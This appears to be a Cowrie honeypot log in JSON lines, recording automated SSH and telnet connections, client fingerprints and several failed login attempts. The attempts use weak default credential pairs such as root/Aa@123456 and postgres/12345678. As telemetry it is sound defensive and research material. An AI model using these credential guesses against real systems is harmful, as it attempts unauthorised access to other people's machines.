{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57598,"dst_ip":"159.203.135.109","dst_port":23,"session":"612d2b68c3d0","protocol":"telnet","message":"New connection: 74.91.213.120:57598 (159.203.135.109:23) [session: 612d2b68c3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:03.289826Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:03.779233Z","src_ip":"45.153.34.114","session":"36b0db4a9fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53026,"dst_ip":"159.203.135.109","dst_port":22,"session":"a098e2f3e6a5","protocol":"ssh","message":"New connection: 45.153.34.114:53026 (159.203.135.109:22) [session: a098e2f3e6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:10.309493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:10.315199Z","src_ip":"45.153.34.114","session":"a098e2f3e6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:10.402151Z","src_ip":"45.153.34.114","session":"a098e2f3e6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:10.654287Z","src_ip":"45.153.34.114","session":"a098e2f3e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:11.889400Z","src_ip":"45.153.34.114","session":"a098e2f3e6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16617703437805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:16.989918Z","src_ip":"74.91.213.120","session":"503b628915e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53040,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee5df94ff03","protocol":"ssh","message":"New connection: 45.153.34.114:53040 (159.203.135.109:22) [session: cee5df94ff03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:18.305509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:18.310623Z","src_ip":"45.153.34.114","session":"cee5df94ff03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:18.394515Z","src_ip":"45.153.34.114","session":"cee5df94ff03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:18.782392Z","src_ip":"45.153.34.114","session":"cee5df94ff03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35486,"dst_ip":"159.203.135.109","dst_port":23,"session":"f29c8a180226","protocol":"telnet","message":"New connection: 74.91.213.120:35486 (159.203.135.109:23) [session: f29c8a180226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:19.456056Z"}
{"eventid":"cowrie.session.closed","duration":31.135173320770264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:19.647969Z","src_ip":"74.91.213.120","session":"99bcc2835a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148154735565186,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:19.715611Z","src_ip":"74.91.213.120","session":"2027ad9b9eff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:19.873771Z","src_ip":"45.153.34.114","session":"cee5df94ff03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35492,"dst_ip":"159.203.135.109","dst_port":23,"session":"1930a2dc5d31","protocol":"telnet","message":"New connection: 74.91.213.120:35492 (159.203.135.109:23) [session: 1930a2dc5d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:21.399818Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":35508,"dst_ip":"159.203.135.109","dst_port":23,"session":"4eca2b1951fc","protocol":"telnet","message":"New connection: 74.91.213.120:35508 (159.203.135.109:23) [session: 4eca2b1951fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:22.405733Z"}
{"eventid":"cowrie.session.closed","duration":30.23018717765808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:24.227427Z","src_ip":"74.91.213.120","session":"49c5cef6fea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":36478,"dst_ip":"159.203.135.109","dst_port":22,"session":"56b8a8d975f2","protocol":"ssh","message":"New connection: 45.153.34.114:36478 (159.203.135.109:22) [session: 56b8a8d975f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:26.035142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:26.039957Z","src_ip":"45.153.34.114","session":"56b8a8d975f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:26.186252Z","src_ip":"45.153.34.114","session":"56b8a8d975f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:26.546165Z","src_ip":"45.153.34.114","session":"56b8a8d975f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:27.632728Z","src_ip":"45.153.34.114","session":"56b8a8d975f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44670,"dst_ip":"159.203.135.109","dst_port":22,"session":"0478819bd372","protocol":"ssh","message":"New connection: 45.153.34.114:44670 (159.203.135.109:22) [session: 0478819bd372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:34.088692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:34.093937Z","src_ip":"45.153.34.114","session":"0478819bd372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:34.181713Z","src_ip":"45.153.34.114","session":"0478819bd372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.152976989746094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:34.442674Z","src_ip":"74.91.213.120","session":"612d2b68c3d0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:34.759737Z","src_ip":"45.153.34.114","session":"0478819bd372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:35.848639Z","src_ip":"45.153.34.114","session":"0478819bd372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":56192,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd58f28bb4b5","protocol":"ssh","message":"New connection: 45.61.187.220:56192 (159.203.135.109:22) [session: dd58f28bb4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:37.374297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:37.383062Z","src_ip":"45.61.187.220","session":"dd58f28bb4b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:37.424639Z","src_ip":"45.61.187.220","session":"dd58f28bb4b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext@123","message":"login attempt [erpnext/erpnext@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:37.657067Z","src_ip":"45.61.187.220","session":"dd58f28bb4b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38912,"dst_ip":"159.203.135.109","dst_port":23,"session":"174ad3edb0a5","protocol":"telnet","message":"New connection: 74.91.213.120:38912 (159.203.135.109:23) [session: 174ad3edb0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:38.343669Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:38.711052Z","src_ip":"45.61.187.220","session":"dd58f28bb4b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38928,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6833545473","protocol":"telnet","message":"New connection: 74.91.213.120:38928 (159.203.135.109:23) [session: af6833545473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:39.363825Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34562,"dst_ip":"159.203.135.109","dst_port":22,"session":"be7cacc09028","protocol":"ssh","message":"New connection: 45.153.34.114:34562 (159.203.135.109:22) [session: be7cacc09028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:42.368476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:42.474824Z","src_ip":"45.153.34.114","session":"be7cacc09028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:42.563683Z","src_ip":"45.153.34.114","session":"be7cacc09028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:42.821801Z","src_ip":"45.153.34.114","session":"be7cacc09028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:43.908391Z","src_ip":"45.153.34.114","session":"be7cacc09028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":38930,"dst_ip":"159.203.135.109","dst_port":23,"session":"4469469d2e5c","protocol":"telnet","message":"New connection: 74.91.213.120:38930 (159.203.135.109:23) [session: 4469469d2e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:46.694370Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52948,"dst_ip":"159.203.135.109","dst_port":22,"session":"72dbea405791","protocol":"ssh","message":"New connection: 45.153.34.114:52948 (159.203.135.109:22) [session: 72dbea405791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:50.333732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:50.341804Z","src_ip":"45.153.34.114","session":"72dbea405791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:50.423255Z","src_ip":"45.153.34.114","session":"72dbea405791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.155644178390503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:50.611581Z","src_ip":"74.91.213.120","session":"f29c8a180226","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins@123","message":"login attempt [jenkins/jenkins@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:50.760707Z","src_ip":"45.153.34.114","session":"72dbea405791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:51.848519Z","src_ip":"45.153.34.114","session":"72dbea405791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.162883281707764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:42:52.562609Z","src_ip":"74.91.213.120","session":"1930a2dc5d31","protocol":"telnet"}
